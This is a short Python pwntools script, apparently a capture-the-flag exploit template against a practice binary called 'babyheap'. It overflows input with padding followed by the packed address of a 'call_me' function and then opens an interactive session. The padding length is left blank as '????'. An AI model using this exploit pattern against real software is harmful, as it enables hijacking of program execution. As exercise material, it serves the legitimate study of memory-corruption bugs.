from pwn import *
e = ELF("./babyheap")
p = process(e.path, setuid = 1)
call_me = e.symbols['call_me']

msg = p.recv()
print(msg.decode('utf-8'))

p.sendline("n") # or "y"

msg = p.recvline()
print(msg.decode('utf-8'))

padding = ????
padding += p32(call_me)

p.sendline(padding)

p.interactive()